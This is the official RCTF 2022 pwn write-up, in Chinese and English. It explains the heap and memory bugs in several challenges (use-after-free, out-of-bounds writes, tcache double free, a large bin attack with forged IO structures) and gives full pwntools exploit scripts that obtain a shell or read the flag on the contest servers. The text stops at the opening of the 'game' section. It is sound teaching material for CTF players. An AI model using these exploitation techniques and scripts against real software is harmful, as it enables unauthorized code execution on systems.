RCTF 2022 OFFICIAL Write Up

RCTF 2022 OFFICIAL Write Up

PWN

MyCarsShowSpeed

​ 第一个漏洞点在于在计算修理费用中。修理费用依赖于修理时间: 取回的时间 – 修理的时间,但其中取回时间的秒数会乘以fixDifficulty, fixDifficulty越大,表示修理所需时间越长,费用越高。其中漏洞在于fixDifficulty是一个字节的整数,在每次结束game时都会导致fixDifficulty++, 因此进行256次游戏之后fixDifficulty溢出为0,则导致修理的时间为负数,从而导致修理费用为负数,使得每次取回后钱数增加,因此利用这个漏洞可以反复刷钱,满足购买flag的第一个要求。

​ 第二个漏洞点在于购买flag中。如果winTimes小于1000,便会不进行任何检查地强制清空所有的车。因此可以先在Store中存入修理的汽车,然后购买flag触发UAF,再次fetchCar时即可完成堆地址泄露,并取回。取回后可以利用isFixed标志位修改tcache_key字段进行double free,从而达到任意地址写修改winTimes,最后再次购买flag即可。

​ 需要注意的点是编写exp时与程序交互收发数据可能出现问题,因此recv时尽量准确为好。其次docker中的环境是ubuntu20.04,默认的libc为2.31,由于出题经验不足,所以在附件中没有直接给出libc,因此有师傅提出建议最好附上libc,特此说明。最后,由于疏忽导致docker/bin下的二进制文件忘记更新,如果有师傅逆向时用了这个二进制文件在此再次表示十分抱歉!

The first Vulnerability point is in calculating the repair cost. The repair cost depends on the repair time: time of retrieval – time of repair, but the number of seconds of retrieval time is multiplied by fixDifficulty. The larger the fixDifficulty, the longer the repair takes, the higher the cost. Wherein the Vulnerability fixDifficulty is an integer byte, at the end of each game will result in fixDifficulty ++, so 256 times after the game fixDifficulty overflow is 0, resulting in a negative repair time, resulting in a negative repair cost, so that the number of money after each retrieval increases, so the use of this Vulnerability can be repeated brush money, to meet the first requirement to buy a flag.

The second Vulnerability point lies in the purchase flag. If the winTimes is less than 1000, all cars will be forcibly emptied without any inspection. Therefore, you can deposit the repaired car in the Store first, then the purchase flag triggers the UAF, and when fetchCar is fetched again, the heap address leakage can be completed and retrieved. After retrieval, you can use the isFixed flag to modify the tcache_key field for double free, so as to achieve any address to write and modify winTimes, and finally buy the flag again.

The point to note is that there may be problems when writing exp to send and receive data interactively with the program, so it is better to be as accurate as possible when recv. Secondly, the environment in docker is ubuntu20.04, and the default libc is 2.31. Due to lack of experience in problem solving, libc is not directly given in the attachment. Therefore, some masters suggest that it is best to attach libc. This is hereby explained. Finally, due to negligence, the binary file under docker/bin forgot to update. If a master used this binary file in reverse, I would like to express my very sorry again!

exp:

from pwn import *
import datetime

# context.log_level = 'debug'
#ip = "190.92.239.230"
#port = 8888

ip = "49.0.206.171"
port = 9999

if args.REMOTE:
    p = remote(ip, port)
else:
    p = process('./SpeedGame')

def ch(cmd):
    p.recvuntil(b'> ')
    p.sendline(str(cmd).encode())

def buyCar(name = b'NNN'):
    p.recvuntil(b'> ')
    p.sendline(b'3')
    ch(1)
    p.recvuntil(b'> ')
    p.send(b'NormalCar')
    p.recvuntil(b'> ')
    p.send(name)
    ch(5)

def buyFlag(mode=0):
    ch(3)
    ch(1)
    p.recvuntil(b'> ')
    p.send(b'flag')
    if mode==0:
        p.recvuntil(b'Your cars are confiscated!')
        print(p.recvline())
    else:
        p.recvuntil(b'Here is your flag!\n')
        print(p.recvuntil(b'}'))

    ch(5)

def switchCar(name):
    ch(4)
    p.recvuntil(b'> ')
    p.send(name)
    p.recvuntil(b'Switch succesfully!')

def fixCar(name = b'NNN'):
    p.recvuntil(b'> ')
    p.sendline(b'3')
    p.recvuntil(b'> ')
    p.sendline(b'3')
    p.recvuntil(b'> ')
    p.send(name)
    ch(5)
    return

def fetchCar(name):
    p.recvuntil(b'> ')
    p.sendline(b'3')
    p.recvuntil(b'> ')
    p.sendline(b'4')
    data = p.recvuntil(b'> ')
    p.send(name)
    ch(5)
    return data

def sellCar(name):
    p.recvuntil(b'> ')
    p.sendline(b'3')
    p.recvuntil(b'> ')
    p.sendline(b'2')
    p.recvuntil(b'> ')
    p.send(name)
    ch(5)
    return

def playGame():
    p.recvuntil(b'> ')
    p.sendline(b'1')
    p.recv(2048)
    # sleep(0.02)
    p.sendline(b'q')
    p.recvuntil(b'> ')

def showInfo():
    ch(2)
    data = print(p.recvuntil(b'Your using car is:'))
    return data

def dbg():
    gdb.attach(p)
    pause()

def earnMoney(loop):
    #fix and fetch
    p.recvuntil(b'> ')
    p.sendline(b'3')
    for j in range(loop):
        log.info(f'j={j}')
        p.recvuntil(b'> ')
        p.sendline(b'3') #fix
        p.recvuntil(b'> ')
        p.send(b'BBB')
        p.recvuntil(b'> ')
        p.sendline(b'4') #fetch
        p.recvuntil(b'> ')
        p.send(b'BBB')

    p.sendline(b'5')

if __name__ == '__main__':
    buyCar(b'AAA')
    buyCar(b'BBB')
    sellCar(b'AAA')
    for i in range(255):
        log.info(f'i={i}')
        playGame()

    curtime = datetime.datetime.now()
    loop = 150
    if args.REMOTE:
        loop = 110
        pass
    else:
        while curtime.second <= 15:
            print('waiting for good timing...')
            time.sleep(1)
            curtime = datetime.datetime.now()
    earnMoney(loop)
    fixCar(b'BBB') #
    buyCar(b'CCC') #
    buyCar(b'DDD')

    buyFlag() 

    data = fetchCar(b'\x00') 

    idx = data.find(b'CarName') + len(b'CarName: ')
    fake_name = data[idx:idx+6]
    heap_addr = u64(fake_name.ljust(8,b'\x00'))
    heap_base = heap_addr - 0x950 - 0xa0 + 0x410
    target_addr = heap_base + 0x2a0 + 0x90 #
    store_addr = heap_base + 0x440

    context.log_level = 'debug'
    fetchCar(fake_name) #
    buyCar(b'EEE')

    buyCar(b'evil') # same 2 cars in list
    sellCar(b'evil')
    sellCar(b'EEE') # car num = 1

    evil_name = heap_base + 0x5e0 #fd

    fixCar(p64(evil_name))
    fetchCar(p64(evil_name)) #set fixed = 0

    sellCar(p64(evil_name)) # double free
    buyCar(p64(target_addr))

    buyCar(b'FFF')
    buyCar(b'GGG')

    buyCar(b'\xdd'*7)

    log.info(f'corrupt_car:{hex(heap_base+0x660)}')
    log.info(f'store_addr:{hex(store_addr)}')
    log.info(f'heap_base:{hex(heap_base)}')
    log.info(f'game_addr:{hex(heap_base + 0x2a0)}')

    buyFlag(1)
    # pause()

diary

source code:

https://github.com/ruan777/RCTF2022/blob/main/diary/main.cpp

The logic of the erase function of vector is as follows:

iterator erase(iterator position)
{
    if(position + 1 != end())
        copy(position + 1, finish, position);
    --finish;
    destroy(finish);
    return position;
}

If the = operation is not rewritten for the class, the function will call the default operation, that is, directly copy all the contents of the class. if there is a pointer, it will also be copied directly.

So at the time of destroy(finish);, if the pointer in the class is freed in the destructor, then the copied pointer points to a memory that has been freed.

Here is an example:

#include <iostream>
#include <vector>

using namespace std;

class A{
public:
    A(){
        a = new char[0x100];
        cout << "Call A()" << endl;
    }
    ~A() {
        delete [] a;
        cout << "Call ~A();" << endl;
    }
    char* a;
};

int main(){
    vector<A> vec_A(3);
    vec_A.erase(vec_A.begin());
    return 0;
}

The vulnerability of the challenge is in the delete command. If it is not the last idx deleted, then there will be a pointer pointing the freed chunk, which can be used to leak data with the show command. But it needs to leak the random number s before rewritten tcache bins’ fd. Then use the xor in the encryption function to xor the fd of the released chunk into the desired address.

The random numbers are initialized at the beginning, and they will be used in a subsequent cycle. The length is 0x200, so as long as the content of a normal content is encrypted, the random number can be obtained. It should be noted here that the show command will be truncated by ‘\x00’, so multiple encryptions and shows may be necessary to get complete random numbers.

exp:

from pwn import *

def add(year,month,day,hour,minutes,sec,content):
    p.recvuntil("cmd:")
    cmd = 'add#'
    cmd += str(year) + '#' + str(month) + '#' + str(day) + '#' + str(hour) + '#' + str(minutes) + '#' + str(sec) + '#' + content
    p.sendline(cmd)


def show(idx):
    p.recvuntil("cmd:")
    cmd = 'show#' + str(idx)
    p.sendline(cmd)


def delete(idx):
    p.recvuntil("cmd:")
    cmd = 'delete#' + str(idx)
    p.sendline(cmd)

def update(idx,content):
    p.recvuntil("cmd:")
    cmd = 'update#' + str(idx) + '#' + content
    p.sendline(cmd)

def decrypt(idx):
    p.recvuntil("cmd:")
    cmd = 'decrypt#' + str(idx)
    p.sendline(cmd)

def encrypt(idx,offset,length):
    p.recvuntil("cmd:")
    cmd = 'encrypt#' + str(idx) + '#' + str(offset) + '#' + str(length)
    p.sendline(cmd)

# p = process("./diary")

ip = "x.x.x.x"

p = remote(ip,10111)

# gdb.attach(p)


for i in range(11):
    add(1971,12,12,23,22,20+i,'a'*0x200)

for i in range(10,3,-1):
    delete(i)

delete(0)

show(2)

p.recvuntil("1971.12.12 23:22:23\n")

leak_value = u64(p.recv(6).ljust(8,b'\x00'))

info("leak_value: " + hex(leak_value))

__free_hook_ = leak_value + 0x2268 - 0xd
system = leak_value - 0x19a950

for i in range(5):
    add(1971,12,12,23,22,40+i,'a'*0x200)

delete(0)
show(6)
p.recvuntil("23:22:44\n")
heap_value = u64(p.recv(6).ljust(8,b'\x00'))

info("heap_value: " + hex(heap_value))


need_random_value = heap_value ^ __free_hook_

for i in range(6):
    update(0,chr(need_random_value&0xff)*0x200)
    encrypt(0,4,0x200)
    show(0)
    data = p.recvuntil("input")
    data = data[:-6]
    data = data[25:]
    if len(data) == 0x200:
        exit()
    update(0,"A"*0x200)
    encrypt(0,0,len(data))
    encrypt(6,i,1)
    update(0,"A"*0x200)
    encrypt(0,0,511-len(data))
    need_random_value = need_random_value >> 8


add(1972,12,12,23,22,40,'a'*0x10)

pause()

add(1972,12,12,23,22,41,';/bin/sh;' + ''.join([chr(x) for x in p64(system)]))


p.interactive()

befunge93

源码:https://github.com/ruan777/RCTF2022/blob/main/befunge93/befunge93.cpp

befunge语言的介绍:https://esolangs.org/wiki/Befunge

漏洞在于g(get)和p(put)指令没有check好边界,导致的越界写和越界读:

        case 'g':
            {

                int y_ = (int)pop();
                int x_ = (int)pop();

                // vuln here
                push((x_ < rows && y_ < cols) ? code_ptr[x_ * cols + y_] : 0);
            } 
            break;
        case 'p':
            {
                int y_ = (int)pop();
                int x_ = (int)pop();
                uint8_t value = (uint8_t)pop();

                // vule here
                if(x_ < rows && y_ < cols){
                    code_ptr[x_ * cols + y_] = value; 
                }
            } 
            break;

只需要分配一个很大的内存让其mmap到libc地址的上方,通过越界读写libc里的地址即可

exp:

from pwn import *
# p = process("./befunge93")
p = remote("94.74.89.68",10101)



p.sendlineafter("input x:",str(0x400))
p.sendlineafter("input y:",str(0x800))

# &-> push int
# g-> oob read
# p-> oob write
# +,- add and sub


code = '/bin/sh\x00&&g&&g&&g&&g&&g&&g,,,,,,&&&p&&&p&&&p&&&p&&&p&&&p>@'
p.sendlineafter("code length:",str(len(code)))

offset = 0x742780
free_hook_offset = 0x743e38


p.sendafter("your code:",code)

p.recvuntil(">@")

for i in range(5,-1,-1):
    p.sendline(str(-0x100000))
    sleep(0.3)
    p.sendline(str(-0x80000000+offset+i))
    sleep(0.3)

# gdb.attach(p,"")
# gdb.attach(p,"brva 0x1fc3")


leak_value = u64(p.recv(6).ljust(8,b'\x00'))
info("leak: " + hex(leak_value))

system = leak_value - 0x19a6f0


# pause()

for i in range(6):
    p.sendline(str(system & 0xff))      # value
    sleep(0.3)
    p.sendline(str(-0x100000))      # x
    sleep(0.3)
    p.sendline(str(-0x80000000+free_hook_offset+i))  # y
    sleep(0.3)
    system = system >> 8

# p.sendafter("your code:",'A')

p.interactive()

ez_atm

In the attachment of the challenge, I gave the way to build Docker and the client program.In order to avoid inconsistency between local and remote programs, we suggest that you must build your own Docker debugging, and then attack the remote environment.

Vulnerability points of the program:

1,stat_query function leaks data:

void info(int flag,char * msg)
{
    printf("reply :         %s\n",msg);
    msg_snd.stats = flag;
    memcpy(msg_snd.msg_info,msg,128); 
    send(c_fd,(char*)(&msg_snd),sizeof(Data_send),0); 
    memset((char*)(&msg_snd),0,sizeof(Data_send)); 
}

int stat_query(char *stat)
{
    info(success,stat);
    return 1;
}

int main()
{
    ...
        if(!memcmp("stat_query",msg_rec.op,10))
        {
            stat_query((char*)&sst);
        }
}

The sst variable is only 4 bytes of data on the stack, while the info function sends 128 bytes of data, leading to data disclosure, which can reveal the libc base address and stack address.

2,query_leak data

typedef struct account{
    char password[8];
    char account_id[32];
    unsigned int money;
    int unlocked;
}account;
account *ac_list[10];

int query()
{
    info(success,(char*)ac_list[account_id]);
    return loged;
}

The info function sends 128 bytes, while the account structure only has 48 bytes. As a result, when you query the data of the current account again, part of the data on the next heap block of the corresponding heap block will be disclosed. As long as we release a heap block into tcache bins in advance, we can disclose the key value, that is, the address of a heap block.

3,UAF

When you release a heap, the program will not empty the pointers in the array, nor will it empty the data on the heap.

Through the first two vulnerabilities, we can obtain the libc base address and heap block address of the program.

When logging in, searching the account ID is only convenient from the first of the array. Therefore, we can control a heap block that has been released by using the address of the heap block that has been obtained and the UAF vulnerability.

int update_pwd()
{

    char pwd[8]="";
    memcpy(pwd,msg_rec.password,8);
    info(try_again,"please input your pasword.");
    recv_msg();
    for(int i=4;i>0;i--)        // 5次机会,错误直接锁定账户
    {

        if(check_pwd(account_id, msg_rec.password)){ 
            memcpy(ac_list[account_id]->password,pwd,8);  
            info(success,"Password modification succeeded.");    
            return loged;
        }
        if(i!=1)
        {
            info(try_again,"try again.");
            recv_msg();
        }

    }   
    info(false,"The password has been entered incorrectly for more than 5 times, and your account has been frozen.");
    ac_list[account_id]->unlocked=0;
    return exited;
}

The location of the password array in the structure is the fd pointer of the released heap block. Therefore, we can control the chat table structure in tcache bins so that the next heap block can be an arbitrary address.

The next step is how to get the flag. Because the cs mode uses interaction, we cannot directly interact with the program, so one method is to redirect the output system (“cat flag>&4”).Another way is because stat_ The super can also disclose the stack address of the main function. We use any address to write, hijack the stack to the BSS segment, and temporarily store the information we send to the server in one structure on the BSS. The rip is hijacked to the modified structure, and the rop of orw is arranged on the structure in advance.

Another challenge lies in the digital signature authentication at the beginning of the cs mode. You can calculate directly in exp, or you can write an ELF program separately according to the logic to bypass. This is also to increase the interest of “software cracking”.

pass.c //gcc ./pass.c -o pass

#include<stdio.h>
#include<string.h>
#include<time.h>
#include<unistd.h>
#include<stdlib.h>
int getrand(){

    return rand()%(15);
}

char int_2_char(int a){
    if(a>=0&&a<=9){
        return ('0'+a);
    }
    else{
        switch(a)
        {
            case 10:return 'a';break;
            case 11:return 'b';break;
            case 12:return 'c';break;
            case 13:return 'd';break;
            case 14:return 'e';break;
        }

    }
    return '0';
}

char * creatuuid(char * uuid){

    for(int i=0;i<30;i++){
        if(uuid[i]=='4' || uuid[i]=='-'){
            continue;
        }
        else if(uuid[i]=='x'){
            uuid[i] = int_2_char(getrand());
        }
        else {
            uuid[i] = int_2_char(3 & getrand() | 8);
        }
    }

    return uuid;
}

int main()
{
    char uuid[] = "yxyxyx-xyyx-4xyx4-xyyx-xyyyyxy";
    unsigned long ask_time=0;
    scanf("%lu",&ask_time);
    srand(ask_time);
    creatuuid(uuid);
    puts(uuid);
    return 0;

}


One problem I noticed was that some masters found that the environment in their Docker was different from that in remote and other people’s environments during the problem solving process. This is because the program does not use setbuf to clear the buffer, which causes the size of the buffer on the heap to be unstable. In the remote environment, the size is about 0x400.

EXP: orw rop

from pwn import *

r=remote(ip,port)
def new_ac(ac_id,pwd,money):
    sleep(0.2)
    pad = b"new_account".ljust(16,b'\x00')
    pad += pwd.ljust(8,b'\x00')+ac_id.ljust(0x20,b'\x00')+p32(money)
    r.send(pad)

def free(pwd):
    sleep(0.2)
    pad = b'cancellation'.ljust(16,b'\x00')
    pad +=pwd.ljust(8,b'\x00')+b'\x00'*0x20 
    r.send(pad)

def exit_ac():
    sleep(0.2)
    pad = b'exit_account'.ljust(16,b'\x00')
    r.send(pad)

def login(ac_id,pwd):
    sleep(0.2)
    pad = b"login".ljust(16,b'\x00')
    pad +=pwd.ljust(8,b'\x00')+ ac_id.ljust(0x20,b'\x00')
    r.send(pad)

def query():
    sleep(0.2)
    r.send(b"query"+b'\x00'*11)

def update_pwd(pwd,ori_pwd):
    sleep(0.2)
    pad = b'update_pwd'.ljust(16,b'\x00')
    pad +=pwd.ljust(8,b'\x00')+ b'\x00'*0x20
    r.send(pad)
    sleep(0.2)
    pad = b'update_pwd'.ljust(16,b'\x00')
    pad +=ori_pwd.ljust(8,b'\x00')+ b'\x00'*0x20
    r.send(pad)

ask_time = u32(r.recv(4))
print(ask_time)
p=process('./pass')
p.sendline(str(ask_time))
ss = p.recv(30)
p.close()
print(ss)

r.send(ss)
r.recv()

r.send(b"stat_query".ljust(32,b'\x00'))
r.recv(12)
canary = u64(r.recv(8))
poc_base = u64(r.recv(8))- 0x002130
libc_base = u64(r.recv(8))-0x021c87
r.recv(8)
RIP_addr = u64(r.recv(8))-0xe0


free_hook = 0x3ed8e8 + libc_base
system =  0x4f420+libc_base
open_ = 0x10fbf0+libc_base
read = 0x110020+libc_base
write = 0x1100f0+libc_base
msg_rec_addr = poc_base+ 0x203160
pop_rdi = libc_base+0x000000000002164f
pop_rsi = libc_base+0x0000000000023a6a
pop_rdx = libc_base+0x0000000000001b96
leave_ret = libc_base+0x00000000000547e3
pop_rsp = 0x000000000000396c+libc_base
pop_rbp = 0x213e3+libc_base
info("msg_rec_addr:"+hex(msg_rec_addr))
info("canary : "+hex(canary))
info("poc_base: "+hex(poc_base))
info("libc_base : "+hex(libc_base))
info("RIP_addr: "+hex(RIP_addr))

new_ac(b' flag.txt',b'./flag',1111)
exit_ac()
new_ac(b'2222',b'2222',2222)
exit_ac()
new_ac(b'flag',b'3333',3333)
free(b'3333')
login(b'2222',b'2222')
query()
ss = r.recvuntil(b'2222\x00\x00\x00\x002222\x00\x00\x00\x00')

ss = r.recv(0x40)[-8::]
heap_addr = u64(ss)-0x10
info("heap_addr : "+hex(heap_addr))

free(b'2222')
chunk1 = heap_addr+0x670
chunk2 = heap_addr+0x6a0
chunk3 = heap_addr+0x6e0
info("chunk3+0x10 : "+hex(chunk3+0x10))

login(p64(heap_addr+0x10)+b'\x00'*0x18,p64(chunk3+0x10))

update_pwd(p64(RIP_addr-8),p64(chunk3+0x10))

exit_ac()
new_ac(b'2'*0x10,b'2',2)
exit_ac()

new_ac(p64(pop_rsp)+p64(msg_rec_addr+0x10)+p64(leave_ret+1),p64(msg_rec_addr+0x10),0)

exit_ac()

pad = b'exit_system'.ljust(16,b'\x00')
pad +=p64(pop_rdi)+p64(chunk1)+p64(pop_rsi)+p64(0)+p64(open_)
pad +=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(chunk1)
pad +=p64(pop_rdx)+p64(0x30)+p64(read)
pad +=p64(pop_rdi)+p64(4)
pad +=p64(pop_rdx)+p64(0x30)+p64(write)

r.send(pad)

pause(1)
r.interactive()

RCTF{Ju5t_s3Ein9u_K33psme&h4ppY_aLLday}

_money

There is an overflow in the loan function array, which will overflow to the heap block of the first account. By writing information to the loan notes, we can modify the size of the first heap block to exceed the largebinsize, so that it can be released into unsortdbins. When viewing loan information, you can disclose the base address of libc.If there are other heap blocks after the first heap block, we can also make the heap overlap .Change the fd of freedchunk to free_ Hook-8, free_ Hook is written as system.

exp:

from pwn import *
r= remote(ip,port)
libc = ELF("./libc-2.31.so")
def new(ac_id,pwd,money):
    r.sendlineafter("your choice","new_account")
    r.sendlineafter("please input the account id",ac_id)
    r.sendlineafter("please input the password",pwd)
    r.sendlineafter("please input the money",str(money))

def free(pwd):
    r.sendlineafter("your choice","Cancellation")
    r.sendlineafter("please enter the password",pwd)

def transfer(ac_id,pwd,money):
    r.sendlineafter("your choice","Transfer_account")
    r.sendlineafter("please input the account id",ac_id)
    r.sendlineafter("Please enter the remittance amount.",str(money))
    r.sendlineafter("please input your pasword.",pwd)

def withdraw(pwd,money):
    r.sendlineafter("your choice","Withdraw_money")
    r.sendlineafter("Please enter the withdrawal amount.",str(money))
    r.sendlineafter("please input your password.",pwd)

def deposite(money):
    r.sendlineafter("your choice","Deposit_money")
    r.sendlineafter("Please enter the deposit amount.",str(money))

def update_info(new_pwd,pwd):
    r.sendlineafter("your choice","Update_info")
    r.sendlineafter("please entet  a new password",new_pwd)
    r.sendlineafter("please input your password.",pwd)

def login(ac_id,pwd):
    r.sendlineafter("your choice","login")
    r.sendlineafter("please input the account id",ac_id)
    r.sendlineafter("please input the password",pwd)


def exit_account():
    r.sendlineafter("your choice","Exit_account")

def exit_system():
    r.sendlineafter("your choice","exit_system")

def loan(money,text):
    r.sendlineafter("your choice","Loan_money")
    r.sendlineafter("Please enter the loan amount",str(money))
    r.sendlineafter("Please leave your comments.",text)


def repay(money):
    r.sendlineafter("your choice","Repayment")
    r.sendlineafter("How much do you want to repay?",str(money))

def vip():
    r.sendlineafter("your choice","I'm vip!")
#gdb.attach(r,'b update_info')


new("1","1",1)
#free("1")
exit_account()
new(p64(2)+p64(0x461),'2',999999999)
for i in range(11):
    loan(0,b"\x00"*0x18+p64(0x0000000100000001))
    if(i==10):
        break
    repay(0)
exit_account()

for i in range(3,16):
    new(str(i),str(i),999999999)
    exit_account()

login('3','3')
free('3')

login(b"\x00"*0x20,'\x00'*8)
free('\x00'*8)
login(p64(2)+p64(0x461),'2')
r.sendlineafter("your choice","I'm vip!")
for i in range(10):
    r.recvuntil("Loan account  :")
r.recvuntil("Loan account  :")
r.recv(16)
libc_base = u64(r.recv(8))-0x1ecbe0
free_hook = libc_base+libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
info("libc_base : "+hex(libc_base))
info("system : "+hex(system))
info("free_hook :"+hex(free_hook))
exit_account()

new('3','3',99999999)
exit_account()
new('1','1',99999999)
free('1')
login('3','3')
r.sendlineafter("your choice","I'm vip!")
for i in range(10):
    r.recvuntil("Loan account  :")
r.recvuntil("Loan account  :")
r.recv(24)
heap_base = u64(r.recv(8))-0x10
info("heap_base :"+hex(heap_base))
#context.log_level = 'debug'
exit_account()
new('1','1',99999999)
exit_account()
new('16','16',9999999)
exit_account()
login('1','1')
free('3')
login('16','16')
free('16')
password = p64(heap_base+0x580)
acid = p64(heap_base+0x10)+p64(0x461)

login( acid,password)
update_info(p64(free_hook-8),password)
exit_account()
new("17","17",17)
exit_account()
new(p64(system),b"/bin/sh\x00",1)
pause()
free(b'/bin/sh\x00')
r.interactive()

bfc

vulnerability

Every time the data pointer is incremented by 1, it will be judged whether there is an out-of-bounds. The assembly code uses jg, which is a signed judgment, so the data can be written out of bounds when the pointer is reduced to a negative number.

pwndbg> x/32xi 0x7ffff7fba000
   0x7ffff7fba000:      mov    rax,QWORD PTR [rdi+0x8]
   0x7ffff7fba004:      mov    rbx,QWORD PTR [rdi+0x10]
   0x7ffff7fba008:      inc    rbx
   0x7ffff7fba00b:      cmp    rax,rbx
   0x7ffff7fba00e:      jg     0x7ffff7fba052 <--

exploit

  1. Use large bin attack to modify stderr to a controllable heap address.

  2. Construct an IO chain, for details, please refer to house of apple 2.

  3. Use __malloc_assert to trigger IO stream

leak heap and libc

After the data pointer is added to 0x10, there will be a chunk in tcache, and the heap address can be leaked by reducing the pointer to the corresponding negative number.

When the data pointer is added to 0x800, the previously used 0x810 size chunk will be placed in the unsorted bin, which can also leak libc.

large bin attack

The size of the chunk to be malloced each time is twice the size of the previous one. But the two chunks required by the large bin attack must be in the same group size (for example, 0x800, 0x810), so we need to forged the size of the unsorted bin chunk.

My approach is to add the pointer to 0x400 first, and use the ? option to prevent chunk merging.

Then add the pointer to 0x1000. At this time the 0x1010 chunk(chunk A) is in unsorted bin, and the 0x810(chunk B) one is in large bin.

Forge a chunk of size 0x800 in chunk A.

Modify bk_size of chunk B to stderr_addr-0x20, forge the _IO_FILE structure, set the relevant fields to pass the check and set the vtable filed to _IO_wfile_jumps-(0x60-0x18).

Forge an _IO_wide_data structure, and also set the relevant fields including vtable ,

Add the pointer to 0x2000 to trigger large bin attack then stderr is changed to the address of chunk A.

Finally, modify the A bit of the size field of chunk A and use large bin attack again. The program will trigger__malloc_assert because the check in malloc.c:4105 cannot pass, and finally call system("sh")

trick

Use ,[>>>>>>>>,] similar format code to achieve unlimited reading and writing and pointer addition and subtraction. This approach may change some fields of the chunk, just pay attention to the modification.

script

#!/usr/bin/python3
from pwncli import *

context.terminal = ['tmux','splitw','-h']
context.arch="amd64"
context.log_level="debug"

def debug(addr=-1,PIE=True):
    if addr == -1:
        gdb.attach(p)
    else:
        if PIE:
            gdb.attach(p,'''b *$rebase({})
                            directory /usr/src/glibc/glibc-2.35/
                            b ./malloc/malloc.c:306
                            c
                            '''.format(hex(addr)))
        else:
            gdb.attach(p,"b *{}".format(hex(addr))) 


def log(strr,addr):
    info("\033[0;31m{} --> {}\033[0m".format(strr,hex(addr)))

code = b""
data = b""
data2 = b""

def ptr_add(x, pad=b'a', step=8):
    global code
    global data
    code += b",[" + b'>'*step + b",]"
    data += pad*(x//step) + b'\x00'

def ptr_add2(x, pad=b'a', step=8):
    global code
    global data2
    code += b",[" + b'>'*step + b",]"
    data2 += pad*(x//step) + b'\x00'

def ptr_sub(x, pad=b'a', step = 8):
    global code
    global data
    code += b",[" + b'<'*step + b",]"
    data += pad*(x//step) + b'\x00'

def ptr_sub2(x, pad=b'a', step = 8):
    global code
    global data2
    code += b",[" + b'<'*step + b",]"
    data2 += pad*(x//step) + b'\x00'

def write_bytes(x):
    global code
    global data
    code += b".>"*x

def read_bytes(content, forword=False):
    global code
    global data
    if forword:
        code += b',>'*len(content)
    else:
        code += b','*len(content)
    data += content

def read_bytes2(content, forword=False):
    global code
    global data2
    if forword:
        code += b',>'*len(content)
    else:
        code += b','*len(content)
    data2 += content

def main():

    global code
    global data
    global p
    global data2

    p=remote('119.13.89.159',3301)
    #p=remote('0.0.0.0', 3344 )
    #p = process("./bfc")

    ptr_add(0x20)
    ptr_sub(0x20+0x10+0x18, b'\x90')
    code += b'<'*8
    # leak heap
    write_bytes(0x8)
    ptr_add(0x18+0x10+0x400)
    # Prevent chunk merging
    code += b'??'
    ptr_add(0x400)
    ptr_sub(0x800+0x10+0x800+0x20, b'\xe0', 0x10)
    read_bytes(b'\xe0')
    # leak libc
    write_bytes(0x8)
    code += b'>'*0x8

    ptr_add(0x800+0x20, b'\x10', 0x10)

    ptr_add(0x1000)
    ptr_sub(0x1000+0x10+(0x1000)+0x8, b'\xe0')

    ptr_sub(0x28+0x800-0x18)
    # forge bk_size
    read_bytes2(p64(u64_ex("bk_size")), True)
    ptr_add2(0x800-0x20+0x10, b'\x10')
    read_bytes2(b'\x20')
    ptr_add2(0x18)
    # forge a chunk smaller than the one in large bin
    read_bytes2(p64(0x801), True)

    ptr_add2(0x7f0-0x20+0x20, b'\xe0')
    read_bytes2(p64(0x800)+p64(0x20), True)
    ptr_add2(0x820, b'\x11')

    ptr_add2(0x2000-0x10)
    # back to the forged 0x800 chunk
    ptr_sub2(0x2000+0x10+0x2000-0x10, b'\x10', 0x10)
    ptr_sub2(0x20+0x1000+0x10, b'\x11', 0x10)
    # forge _IO_FILE struct
    # set f->flags
    read_bytes2(p64(u64_ex("  sh")), True)
    # set A bit of size field for triggering __malloc_asset in _int_malloc 
    read_bytes2(p64(0x811|4), True)
    # set f->_lock
    ptr_add2(0x88-0x10)
    read_bytes2(p64(u64_ex("_lock")), True)
    # set f->_wide_data
    ptr_add2(0xa0-0x90, b'\xd0', 0x10)
    read_bytes2(p64(u64_ex("widedata")), True)
    ptr_add2(0x30)
    # set f->vtable
    read_bytes2(p64(u64_ex("fvtable")), True)
    # back to 0x2000 chunk (in unsorted bin) 
    ptr_add2(0xf30, b'\x11', 0x10)
    # forge a 0x820 chunk 
    code += b'>'*0x8
    read_bytes2(p64(0x821), True)
    # fix fd
    ptr_add2(0x810, b'\xe0', 0x10)
    # set prev_size and size
    read_bytes2(p64(0x820), True)
    read_bytes2(p64(0x60), True)

    ## mov to 0x4000 chunk
    ptr_add2(0x1800-0x10)
    # forge _wide_data
    ptr_add2(0x18)
    # set _wide_data->_IO_write_base
    read_bytes2(p64(0), True)
    # 
    ptr_add2(0x10)
    # set _wide_data->_IO_buf_base
    read_bytes2(p64(0), True)
    ptr_add2(0xe0-0x30-0x8)
    read_bytes2(p64(u64_ex("wvtable")),True)
    read_bytes2(p64(u64_ex("system")),True)
    ptr_add2(0x4000-0xf0)

    #debug(0x2D59)
    p.sendlineafter(b":",str(len(code)))
    p.sendlineafter(b":", code)
    sleep(0.1)

    p.send(data)

    sleep(1)
    heap_base = (u64(p.recv(8)) << 12) - 0x13000
    log("heap_base", heap_base)

    libc_base = u64(p.recv(8)) - 0x219ce0
    log("libc_base", libc_base)
    log("_wide_data", libc_base+0x156b0+0x1000)

    stderr_addr = libc_base + 0x21a860 # 0x21a6a0
    _IO_wfile_jumps = libc_base +  0x2160c0
    fake_wide_data = heap_base + 0x176d0
    _lock_addr = libc_base + (0x7f5eea04da60-0x7f5ee9e32000)
    # fix addresses
    data2 = data2.replace(p64(u64_ex("bk_size")), p64(stderr_addr-0x20))
    data2 = data2.replace(p64(u64_ex("widedata")), p64(fake_wide_data))
    data2 = data2.replace(p64(u64_ex("fvtable")), p64(_IO_wfile_jumps-(0x60-0x18)))
    data2 = data2.replace(p64(u64_ex("wvtable")), p64(fake_wide_data+(0xe0+0x8-0x68)))
    data2 = data2.replace(p64(u64_ex("system")), p64(libc_base + libc.sym["system"]))
    data2 = data2.replace(p64(u64_ex("_lock")), p64(_lock_addr))
    log("system", libc_base + libc.sym["system"])
    log("fake_wide_data",fake_wide_data)

    p.sendline(data2)

    p.interactive()


if __name__ == "__main__":
    #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
    libc = ELF('./libc.so.6',checksec=False)
    main()

unexpected solution

https://github.com/nobodyisnobody/write-ups/tree/main/RCTF.2022/pwn/bfc

game

Foreword

This game was intended to use ext4 file system, but feel packaged out a little big, and then use busybox to convenient deployment, the root directory permissions did not match. I am very sorry for the bad experience.

Idea

